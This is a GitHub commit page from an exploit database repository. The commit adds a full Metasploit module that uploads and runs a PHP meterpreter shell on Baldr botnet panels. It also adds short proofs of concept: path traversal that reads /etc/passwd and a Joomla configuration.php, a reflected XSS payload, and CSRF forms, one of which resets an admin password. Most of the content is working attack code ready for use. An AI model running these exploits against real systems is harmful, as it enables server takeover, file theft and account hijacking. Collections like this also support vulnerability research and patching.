Skip to content

Commit d82ffc9

Browse files
author
Offensive Security
committed
DB: 2019-08-09
7 changes to exploits/shellcodes Baldr Botnet Panel - Arbitrary Code Execution (Metasploit) Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income) Aptana Jaxer 1.0.3.4547 - Local File inclusion Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download Adive Framework 2.0.7 - Cross-Site Request Forgery Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection
1 parent 44a9c2c commit d82ffc9

8 files changed

Lines changed: 425 additions & 0 deletions

File tree

‎exploits/multiple/webapps/47214.txt‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Exploit Title: Aptana Jaxer Remote Local File inclusion
2+
# Date: 8/8/2019
3+
# Exploit Author: Steph Jensen
4+
# Vendor Homepage:
5+
[http://www.jaxer.org](http://www.jaxer.org/category/uncategorized/)
6+
# Version: 1.0.3.4547
7+
# Tested on: Linux
8+
# CVE : CVE-2019-14312
9+
10+
Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via tools/sourceViewer/index.html?filename=../ URI.
11+
12+
To exploit this vulnerability an attacker must have access to the Aptana Jaxer web application. The Samples and Tools page will have the wikilite demo. After opening the wikilite demo the source code can be viewed by clicking the html button and selecting "Wikilite source code". This leads to http://server:8081/aptana/tools/sourceViewer/index.html?filename=../../samples/wikilite/index.html. by using directory traversal in the filename parameter a remote attacker can access internal files on the server.
13+
14+
PoC: http://server:8081/aptana/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

‎exploits/php/remote/47215.rb‎

Lines changed: 242 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,242 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'net/http'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "Baldr Botnet Panel Shell Upload Exploit",
15+
'Description' => %q{
16+
This module exploits the file upload vulnerability of baldr malware panel.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' =>
20+
[
21+
'Ege Balcı <[email protected]>' # author & msf module
22+
],
23+
'References' =>
24+
[
25+
['URL', 'https://prodaft.com']
26+
],
27+
'DefaultOptions' =>
28+
{
29+
'SSL' => false,
30+
'WfsDelay' => 5,
31+
},
32+
'Platform' => ['php'],
33+
'Arch' => [ ARCH_PHP],
34+
'Targets' =>
35+
[
36+
['Auto',
37+
{
38+
'Platform' => 'PHP',
39+
'Arch' => ARCH_PHP,
40+
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
41+
}
42+
],
43+
['Baldr <= v2.0',
44+
{
45+
'Platform' => 'PHP',
46+
'Arch' => ARCH_PHP,
47+
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
48+
}
49+
],
50+
['Baldr v2.2',
51+
{
52+
'Platform' => 'PHP',
53+
'Arch' => ARCH_PHP,
54+
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
55+
}
56+
],
57+
['Baldr v3.0 & v3.1',
58+
{
59+
'Platform' => 'PHP',
60+
'Arch' => ARCH_PHP,
61+
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
62+
}
63+
]
64+
],
65+
'Privileged' => false,
66+
'DisclosureDate' => "Dec 19 2018",
67+
'DefaultTarget' => 0
68+
))
69+
70+
register_options(
71+
[
72+
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
73+
]
74+
)
75+
end
76+
77+
def check
78+
res = send_request_cgi(
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path,"/gate.php")
81+
)
82+
83+
ver = ''
84+
85+
if res.code == 200
86+
if res.body.include?('~;~')
87+
targets[3] = targets[0]
88+
#target = targets[3]
89+
ver = '>= v3.0'
90+
elsif res.body.include?(';')
91+
#target = targets[2]
92+
targets[2] = targets[0]
93+
ver = 'v2.2'
94+
elsif res.body.size < 4
95+
targets[1] = targets[0]
96+
#target = targets[1]
97+
ver = '<= v2.0'
98+
else
99+
Exploit::CheckCode::Safe
100+
end
101+
print_status("Baldr verison: #{ver}")
102+
Exploit::CheckCode::Vulnerable
103+
else
104+
Exploit::CheckCode::Safe
105+
end
106+
end
107+
108+
def exploit
109+
110+
name = '.'+Rex::Text.rand_text_alpha(4)
111+
files =
112+
[
113+
{data: payload.encoded, fname: "#{name}.php"}
114+
]
115+
zip = Msf::Util::EXE.to_zip(files)
116+
hwid = Rex::Text.rand_text_alpha(8).upcase
117+
118+
if targets[0]
119+
check
120+
end
121+
122+
123+
case target
124+
when targets[3]
125+
res = send_request_cgi({
126+
'method' => 'GET',
127+
'uri' => normalize_uri(target_uri.path,"/gate.php")}
128+
)
129+
key = res.body.to_s.split('~;~')[0]
130+
print_good("Key: #{key}")
131+
132+
data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
133+
data = xor(data,key)
134+
135+
res = send_request_cgi({
136+
'method' => 'GET',
137+
'uri' => normalize_uri(target_uri.path,"/gate.php"),
138+
'data' => data.to_s
139+
}
140+
)
141+
142+
if res.code == 200
143+
print_good("Bot successfully registered.")
144+
else
145+
print_error("New bot register failed !")
146+
return false
147+
end
148+
149+
data = xor(zip.to_s,key)
150+
form = Rex::MIME::Message.new
151+
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")
152+
153+
res = send_request_cgi(
154+
'method' => 'POST',
155+
'uri' => normalize_uri(target_uri.path,"/gate.php"),
156+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
157+
'data' => form.to_s
158+
)
159+
if res && (res.code == 200 ||res.code == 100)
160+
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
161+
else
162+
print_error("Server responded with code #{res.code}") if res
163+
print_error("Failed to upload payload.")
164+
return false
165+
end
166+
167+
when targets[2]
168+
res = send_request_cgi({
169+
'method' => 'GET',
170+
'uri' => normalize_uri(target_uri.path,"/gate.php")}
171+
)
172+
key = res.body.to_s.split(';')[0]
173+
print_good("Key: #{key}")
174+
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
175+
data << zip.to_s
176+
177+
result = ""
178+
codepoints = data.each_codepoint.to_a
179+
codepoints.each_index do |i|
180+
result += (codepoints[i] ^ key[i % key.size].ord).chr
181+
end
182+
183+
res = send_request_cgi(
184+
'method' => 'POST',
185+
'uri' => normalize_uri(target_uri.path,"/gate.php"),
186+
'data' => result.to_s
187+
)
188+
if res && (res.code == 200 ||res.code == 100)
189+
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
190+
else
191+
print_error("Server responded with code #{res.code}") if res
192+
print_error("Failed to upload payload.")
193+
return false
194+
end
195+
else
196+
res = send_request_cgi(
197+
'method' => 'POST',
198+
'uri' => normalize_uri(target_uri.path,"/gate.php"),
199+
'data' => zip.to_s,
200+
'encode_params' => true,
201+
'vars_get' => {
202+
'hwid' => hwid,
203+
'os' => 'Windows 7 x64',
204+
'cookie' => '0',
205+
'pswd' => '0',
206+
'credit' => '0',
207+
'wallet' => '0',
208+
'file' => '1',
209+
'autofill' => '0',
210+
'version' => 'v2.0'
211+
}
212+
)
213+
214+
if res && (res.code == 200 ||res.code == 100)
215+
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
216+
else
217+
print_error("Server responded with code #{res.code}") if res
218+
print_error("Failed to upload payload.")
219+
return false
220+
end
221+
end
222+
223+
224+
send_request_cgi({
225+
'method' => 'GET',
226+
'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
227+
)
228+
229+
print_good("Payload successfully triggered !")
230+
end
231+
232+
def xor(data, key)
233+
result = ""
234+
codepoints = data.each_codepoint.to_a
235+
codepoints.each_index do |i|
236+
result += (codepoints[i] ^ key[i % key.size].ord).chr
237+
end
238+
return result
239+
end
240+
241+
242+
end

‎exploits/php/webapps/47212.txt‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# Exploit Title: [title]
2+
# Date: [2019 08 06]
3+
# Exploit Author: [Greg.Priest]
4+
# Vendor Homepage: [https://open-school.org/]
5+
# Software Link: []
6+
# Version: [Open-School 3.0/Community Edition 2.3]
7+
# Tested on: [Windows/Linux ]
8+
# CVE : [CVE-2019-14696]
9+
10+
11+
Open-School 3.0, and Community Edition 2.3, allows XSS via the /index.php?r=students/guardians/create id parameter.
12+
13+
/index.php?r=students/guardians/create&id=1[inject JavaScript Code]
14+
15+
Example:
16+
/index.php?r=students/guardians/create&id=1<script>alert("PWN3D!")</script><script>alert("PWN3D!")</script>

‎exploits/php/webapps/47213.txt‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Exploit Title: Daily Expense Manager - CSRF (Delete Income)
2+
# Exploit Author: Mr Winst0n
3+
# Author E-mail: [email protected]
4+
# Discovery Date: August 8, 2019
5+
# Vendor Homepage: https://sourceforge.net/projects/daily-expense-manager/
6+
# Tested Version: 1.0
7+
# Tested on: Parrot OS
8+
9+
10+
# PoC:
11+
12+
<html>
13+
<body>
14+
<form action="http://server/homeedit.php?delincome=778" method="post">
15+
<input type="submit" value="Click!" />
16+
</form>
17+
</body>
18+
</html>

‎exploits/php/webapps/47216.txt‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download
2+
#Dork: inurl:"index.php?option=com_jssupportticket"
3+
#Date: 08.08.19
4+
#Exploit Author: qw3rTyTy
5+
#Vendor Homepage: http://joomsky.com/
6+
#Software Link: https://www.joomsky.com/46/download/1.html
7+
#Version: 1.1.5
8+
#Tested on: Debian/nginx/joomla 3.9.0
9+
#####################################
10+
#Vulnerability details:
11+
#####################################
12+
Vulnerable code is in line 1411 in file admin/models/ticket.php
13+
14+
1382 function getDownloadAttachmentByName($file_name,$id){
15+
1383 if(empty($file_name)) return false;
16+
1384 if(!is_numeric($id)) return false;
17+
1385 $db = JFactory::getDbo();
18+
1386 $filename = str_replace(' ', '_',$file_name);
19+
1387 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
20+
1388 $db->setQuery($query);
21+
1389 $foldername = $db->loadResult();
22+
1390
23+
1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory');
24+
1392 $base = JPATH_BASE;
25+
1393 if(JFactory::getApplication()->isAdmin()){
26+
1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator
27+
1395 }
28+
1396 $path = $base.'/'.$datadirectory;
29+
1397 $path = $path . '/attachmentdata';
30+
1398 $path = $path . '/ticket/' . $foldername;
31+
1399 $file = $path . '/' . $filename;
32+
1400
33+
1401 header('Content-Description: File Transfer');
34+
1402 header('Content-Type: application/octet-stream');
35+
1403 header('Content-Disposition: attachment; filename=' . basename($file));
36+
1404 header('Content-Transfer-Encoding: binary');
37+
1405 header('Expires: 0');
38+
1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
39+
1407 header('Pragma: public');
40+
1408 header('Content-Length: ' . filesize($file));
41+
1409 //ob_clean();
42+
1410 flush();
43+
1411 readfile($file); //!!!
44+
1412 exit();
45+
1413 exit;
46+
1414 }
47+
48+
#####################################
49+
#PoC:
50+
#####################################
51+
$> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"

‎exploits/php/webapps/47217.txt‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF)
2+
# Date:02/08/2019.
3+
# Exploit Author: Pablo Santiago
4+
# Vendor Homepage: https://adive.es
5+
# Software Link: https://github.com/ferdinandmartin/adive-php7
6+
# Version: 2.0.7
7+
# Tested on: Windows and Kali linux
8+
# CVE :2019-14346
9+
10+
# 1. Technical Description:
11+
# Adive Framework 2.0.7 and possibly before are affected by Cross-Site
12+
#Request Forgery vulnerability, an attacker could change any user
13+
password.
14+
15+
# 2. Proof Of Concept (CODE):
16+
17+
<html>
18+
<body>
19+
<script>history.pushState('', '', '/')</script>
20+
<form action="http://localhost/adive/admin/config" method="POST">
21+
<input type="hidden" name="userName" value="admin" />
22+
<input type="hidden" name="confPermissions" value="1" />
23+
<input type="hidden" name="pass" value="1234" />
24+
<input type="hidden" name="cpass" value="1234" />
25+
<input type="hidden" name="invokeType" value="web" />
26+
<input type="submit" value="Submit request" />
27+
</form>
28+
</body>
29+
</html>
30+
31+
# 3. References:
32+
# https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/
33+
# https://imgur.com/apuZa9q

0 commit comments

Comments
 (0)